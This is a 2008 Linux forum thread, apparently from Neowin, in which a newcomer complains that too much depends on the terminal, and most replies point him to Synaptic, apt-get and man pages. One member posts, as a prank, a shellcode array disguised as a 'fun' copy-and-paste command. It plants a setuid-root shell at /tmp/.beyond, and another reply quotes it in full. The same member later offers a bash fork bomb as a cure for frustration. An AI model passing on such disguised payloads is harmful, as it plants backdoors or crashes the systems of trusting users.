Questions about linux

[TEX4S]

OK I have wholeheartedly try to jump on the ubuntu train. I have dedicated a3rd HDD to ubuntu - I played around with it a little and soon became frustrated with it.

Not wanting to throw in the towel, I re-installed it a few times to "give it another try" - and installed kubuntu, & Mandriva - just to see if there was something I could use on a day to day basis.

I keep trying as I get bored with my computer and either hacve to upgrade some hardware or do something drastic like try another OS.

Since the holidays are here , I thought I'd quit buying crap and try linux again...

My questions/concerns are thus:

If technology is supposed to make things easier, why does so much have to be done via Terminal ?? I mean its almost 2009 !!! What is up with that ?

And why is it so hard to do things in ANY version of linux ? I ask for help in ubuntu forums and get answers that are so cryptic - I am not sure if its english !

Why isnt anything as simple as double-clicking on an icon, asking "do you want to install this ?" - and its done

Then when I voice my concerns some little asswipe says Im trolling and the thread is closed...so much for a friendly philosophy.

I am not talking about the normal things like, email, web browsing, burning a CD - yes, all of that is about as easy as it can be.

I am talking about changing themes, using screenlets, and getting the GUI to look something like its made in 2008 instead of the boring default desktop.

There are hardly no click to install things in linux... so much of the customization and tweaking is done via terminal or have to use some 3rd party (installed, or downloaded) app to do basic crap.

So, to make this less of a rant, and more of a question...

Is there a version that is more automated, everything done in a GUI as opposed to a circa 1983 terminal ?

I have had problems with kubuntu and my video card's drivers - and have had to wipe out the install almost immediately after installing it due to being locked-out via a black screen (nVidia drivers- BFG 260GTX OC card)

Thanks

[markwolfe Veteran]

If technology is supposed to make things easier, why does so much have to be done via Terminal ?? I mean its almost 2009 !!! What is up with that ?

There are advantages to terminals: https://www.neowin.net/forum/index.php?showtopic=696244

And most things can be done by giving a lengthy point here, click this, select tab C, scroll down, look for the term "render" and tell me what it says. But a command like "glxinfo | grep render" is just much easier to get right to the detail and get the information out of it. I seriously recommend you read the above thread I started though.

And why is it so hard to do things in ANY version of linux ? I ask for help in ubuntu forums and get answers that are so cryptic - I am not sure if its english !

Can you be more specific and point to some of these "any" things that are difficult? Many of them may turn out to not be difficult, but some may. I might also point out some things that are difficult to accomplish on a Windows box, too.

Face it, every OS has some easy things, and some not-so-easy things. But I would need specifics to tell what you are talking about.

Why isnt anything as simple as double-clicking on an icon, asking "do you want to install this ?" - and its done

Things are. You make it sound like NOTHING is that easy, what that is demonstrably false. If you are talking specifically about installing apps, I recommend you look at synaptic. It is the Wal-Mart of Linux software.

Then when I voice my concerns some little asswipe says Im trolling and the thread is closed...so much for a friendly philosophy.

Again, example? Perhaps you were trolling? Perhaps it was an over-sensitive mod? But if your post (assuming on another forum, like ubuntuforums.com) was just opened to blast and complain - and used false statements like "you can't install anything without a terminal" then I could see how it would be taken as trolling or flame-bait. But moderators (even on other forums) are people too, and make mistakes sometimes.

I would challenge you to look through my posts and fine a single instance where I was unhelpful and rude to anyone wanting Linux assistance. I even help people remove Linux and go back to Windows cheerfully.

I am talking about changing themes, using screenlets, and getting the GUI to look something like its made in 2008 instead of the boring default desktop.

I can't help with Gnome specific things, but there are many included themes, and I believe other themes are drag-and-dropable.

There are hardly no click to install things in linux... so much of the customization and tweaking is done via terminal or have to use some 3rd party (installed, or downloaded) app to do basic crap.

False. Once again, check synaptic, your package manager.

Is there a version that is more automated, everything done in a GUI as opposed to a circa 1983 terminal ?

Ubuntu pretty much does this. Maybe you are fighting the system with trying to do things the hard way? Or maybe you are adverse to the command line (which, as I pointed out earlier, can be a huge time-saver, whether you choose to believe it or not, it is true).

I have had problems with kubuntu and my video card's drivers - and have had to wipe out the install almost immediately after installing it due to being locked-out via a black screen (nVidia drivers- BFG 260GTX OC card)

nVidia's drivers are very very good in Linux. Not sure what KDE issues you have had. Can you link to a specific thread where you had a problem?

[hjf288]

On my Debian non ubuntu system:

apt-get install mplayer

Will install mplayer for example and anything it needs to run, thats in the terminal..

Hardly rocket science..

Hell even I rarely have to use the terminal on my iphone but it isnt hard..

Just something you get used to

[Fred Derf Veteran]

I recommend you look at synaptic. It is the Wal-Mart of Linux software.

Now you're going to make me feel dirty for using Synaptic.

[tsupersonic]

It is the Wal-Mart of Linux software.

That analogy doesn't make sense, as you have to pay for items at WalMart :p

[TEX4S]

well markjensen, thanks for the reply and for breaking it down point-by-point.

I will try it again, maybe I am making it too hard - and then when I run into a roadblock, ask in here with the specifics..

as for synaptics, like Fred Derf, I will feel trashy about using it now... oh, and when and why will I need to use it again ? :blush:

[rson451]

well markjensen, thanks for the reply and for breaking it down point-by-point.

I will try it again, maybe I am making it too hard - and then when I run into a roadblock, ask in here with the specifics..

as for synaptics, like Fred Derf, I will feel trashy about using it now... oh, and when and why will I need to use it again ? :blush:

Whenever you want to install something, your first stop should be synaptics. If you don't find what you want in there, search for a .deb file for the program you want. Think of .deb as debian/ubuntu's version of .exe. You double click and the package manager will install it. Chances are you will find what you want in synaptic though, the repos are absolutely huge.

[Farstrider]

.........oh, and when and why will I need to use it again ?

Just about all the time!

The suggestion that I would make to all prospective or new Linux users, would be to use/build a PC that ONLY has Linux on it! When you turn it on, turn OFF ALL other Windows boxes! Force yourself to work in a Linux only environment. In this way you get forced to think the Linux way and what initially seems so hard and difficult becomes just another way of achieving an end result!

As regards forums where questions are asked and answered, I have only ever had people who have been courteous and incredibly helpful! I know that sometime Linux users can appear to be snotty and righteous about their choice of OS but underneath all that they are pretty decent folk! I think that sometime their disdain for the Windows OS appears to come across as dislike for the people themselves when it is actually not so!

Good luck and keep going! You will come right I am sure! :)

[markwolfe Veteran]

...

as for synaptics, like Fred Derf, I will feel trashy about using it now... oh, and when and why will I need to use it again ? :blush:

Arrgh! My "Wal-Mart" comparison comes back to taint synaptics :( :p

Syanptics is a GUI front-end to the aptitude package management system. Think of Linux package management to be like a "what if" situation of "what if Microsoft's Windows Update" would do more than update Windows, but also update every application that I have on my PC, so that the core kernel, the OS and all my apps would always get free updates. And, on top of this, I want to be able to browse it like a supermarket (of no particular type ;)) and search for items I might be interested in.

These "what ifs" are what aptitude and synaptics are all about. And it makes managing your computer's package installation effortless. :D

[Mindovermaster Global Moderator]

I wish somebody told me of Syanptics earlier... Or I'd be on linux right now... :)

But, I was a windows guy from day one..

I am running my AMD system sorely on Linux, I found most of the stuff out, just have to mess with it and look at guides online.

[rpgfan]

I thought it was "Synaptic"... "synaptics" is used for touchpads like on a laptop... :p

Anyway, Mark's quite correct. Linux rocks when you consider the fact that any software you have that is managed by the package manager is updated with the rest of your system. In addition, you might not have dependencies that are needed by a program in Windows, so you have to go download them separately (e.g. OpenAL for Supertux). With Linux, it's taken care of by the package manager. If it isn't, it usually isn't difficult to find a way around it (Google is your best friend when you first start using Linux, and sometimes even after that).

Oh, and if you need help with a command or something like that in Linux, almost every package typically installs either a man page (or a series of man pages) or a root node in the info directory. Just go to a terminal or open up a terminal emulator like gnome-terminal or xterm, and type "man <item>" or "info <item>", without the quotes of course. On many distros, you can also download a program called "pinfo". This allows you to open both info documents and man pages. If you want to force it to use man pages, you can pass the -m flag.

That's probably why I like Python programming so much too. If I don't know something, the documentation for something is usually built right into the item I'm looking for, even in Windows! On the programming end, however, Linux has all of the fun because everything you need is available for Linux, without restrictions.

[markwolfe Veteran]

I thought it was "Synaptic"... "synaptics" is used for touchpads like on a laptop... :p

:pinch:

Just checked, and that post is the only time I have ever mis-called it that.

Correct. It is "synaptic" not "synaptics". Gotta lay off the booze before I post. :beer:

[+BudMan MVC]

IF you want some real fun from the prompt on linux -- try something like this

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Just copy and paste -- Really fun as root ;)

[Rudy]

IF you want some real fun from the prompt on linux -- try something like this

char esp[] __attribute__ ((section(".text"))) /* e.s.p
 release */
 = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
 "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
 "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
 "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
 "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
 "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
 "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
 "cp -p /bin/sh /tmp/.beyond; chmod 4755
 /tmp/.beyond;";

Just copy and paste -- Really fun as root ;)

that's going to turn him off Linux forever!! :blink:

[+BudMan MVC]

Thats the idea us elitist linux asswipes don't like noobs messing with stuff they will never understand --- Mwahahaha ;)

All kidding aside, Mark as always hit everything right on the button.

And the power is in the prompt, does not matter what OS your using be it linux or windows, bsd or any flavor of nix -- the power is always at your fingertips.. Icons and gui's are for noobs ;)

edit: Some more commands for you to try -- if you get frustrated at the prompt just do

:(){ :|:& };:

And your issues will be gone fairly quickly ;)

Edited November 20, 2008 by BudMan

[roadgeek9]

Now you're going to make me feel dirty for using Synaptic.

(Y) :laugh:

[rpgfan]

edit: Some more commands for you to try -- if you get frustrated at the prompt just do

:(){ :|:& };:

And your issues will be gone fairly quickly ;)

killall -9 bash

Bash fork bomb is now gone. ^_^

[+BudMan MVC]

Now your just showing that your a elitist asswipe linux user by even knowing what it was ;)

[Lechio]

killall -9 bash

Bash fork bomb is now gone. ^_^

If it gives you time to... :unsure:

[TEX4S]

Well the 1st half of replies were quite helpful and appreciated.... Budman, I know you were kidding when you said you dont want n00bs jacking with stuff they dont understand and never will....

I dont understand, but learn pretty fast when Im interested in something , but Im lazy, and yes, Im a n00b

I WANT TO BE SPOONFED WWHHAAAA!

[rpgfan]

[RpgFan ~]$ clear && echo "print \"Here's a spoon; feed yourself with it.\n\";" | perl

I love the tools that come with Linux. They're so useful! ^_^

[tmahmood]

^ ha ha ha!!

Seriously, as far I've seen Ubuntu forum guys are one of the most helpful and nice people I've came across, not to mention neowin guys are awesome too :). If you are having problem with them, consider rethinking your approach.

[dmd3x]

I understand the OPs first post, as Linux can be frustrating at times. For instance, it seems that the process of getting WPA to work across various setups is quite convoluted - my primary annoyance. No matter what I research or try I can't seem to get it to quite work. I've given up and always use a hard-wired network with Linux because of this. Then again, I can't use the simple solution (Network Manager) as I don't run KDE or Gnome.

Other than that, I've gotten everything to work and it's great. I even have Photoshop running under Wine flawlessly - one of the things that was primarily keeping me from running *nix on a more full time basis.

[Zickar]

Well the GNOME 3 on Ubuntu looks pretty slick and very modern (although I just saw screenshots of it) and the fact is I think that any Linux distro gives you a basic working system and its all up to you how to use it and how to make it look ... You can change a lot in your display using just the normal setting, you can set a gradient on your wallpaper (FFS :D)

I'm currently new to this whole Linux world and to be Honest I still don't even know the difference between Unix and Linux if there is any difference at all but the fact is that I'm trying to force myself to work with Xubuntu because its always very rewarding when you learn something out ... It took me almost a week to connect to the internet on Xubuntu but I finally did and along the way I learned a lot about my internet settings because you should know about your internet to connect to it and this has helped me in a way become more knowledgeable of my computer and I liked that.

I'm all for effects and great GUIs and all but sometimes windows can be frustrating with all its bells and whistles when it freezes or crashes, its good to have a system that just works

[markwolfe Veteran]

...

I'm all for effects and great GUIs and all but sometimes windows can be frustrating with all its bells and whistles when it freezes or crashes, its good to have a system that just works

In Windows' defense here, most freezes and crashes these days are from hardware or user issues. Same things happen on Linux, too. ;)